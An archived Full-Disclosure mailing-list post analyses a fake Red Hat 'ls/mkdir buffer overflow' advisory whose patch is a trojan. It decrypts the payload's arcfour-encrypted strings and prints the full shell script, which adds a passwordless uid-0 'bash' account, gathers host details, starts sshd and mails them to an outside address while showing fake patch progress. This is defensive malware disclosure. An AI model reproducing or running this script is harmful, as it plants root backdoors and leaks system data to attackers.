full-disclosure - FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <CE5EB410-2623-11D9-85F2-000D93C0F38C@teknovis.com>
From: andfarm at teknovis.com (Andrew Farmer)
Subject: FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"

Hugo van der Kooij wrote:
> Be advised.
> The message below is currently going around on internet. Being unsinged
> was the fist obvious issue. Not pointing to RPM updates, being in a
> different format and such were among the other reasong to suspect it.
> Message was send from 'University of Texas at Arlington'.
> I am sure none of you should be fooled by such a message but other 
> might
> be.
> And while it lasts you may want to get the file for your own 
> educational
> purposes.
<snip>

I did a quickie analysis of the program (which is basically just 
distributed as source!).

Strings are encrypted with arcfour; however, as the keys are included 
too, decrypting them is no problem.

pswd[] is an initialization vector for arcfour.

shll[] decodes to: /bin/sh
inlo[] decodes to: -c
xecc[] decodes to: exec '%s' "$@"
lsto[] decodes to a null string.
chk1[] decodes to: KTZE4lIVf7i4BR

opts[], text[], and chk2[] are encrypted with some (apparently 
constant) data retrieved by statting /bin/sh.

To cut to the chase, the whole thing ends up clearing the screen and 
running the following shell script:

> #!/bin/sh
> cd /tmp/
> clear
> if [ `id -u` != "0" ]
> then
>         echo "This patch must be applied as \"root\", and you are: 
> \"`whoami`\""
>         exit
> fi
> echo "Identifying the system. This may take up to 2 minutes. Please 
> wait ..."
> sleep 3
> if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
>  echo "Inca un root frate belea: " >> /tmp/mama
>  adduser -g 0 -u 0 -o bash >> /tmp/mama
>  passwd -d bash >> /tmp/mama
>  ifconfig >> /tmp/mama
>  uname -a >> /tmp/mama
>  uptime >> /tmp/mama
>  sshd >> /tmp/mama
>  echo "user bash stii tu" >> /tmp/mama
>  cat /tmp/mama | mail -s "Inca o roata" root@...lebrain.com >> 
> /dev/null
>  rm -rf /tmp/mama
>  mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
> fi
>
> bla()
> {
>   sleep 2
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 2
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 3
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 4
>   echo -n "#"
>   sleep 1
>   echo -n "#"
>   sleep 1
>   echo "#"
>   sleep 1
> }
>
> echo "System looks OK. Proceeding to next step."
> sleep 1
> echo
> echo -n "Patching \"ls\": "
> bla
> echo -n "Patching \"mkdir\": "
> bla
> echo
> echo "System updated and secured successfuly. You may erase these 
> files."
> sleep 1
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20041024/d36d60ac/PGP.bin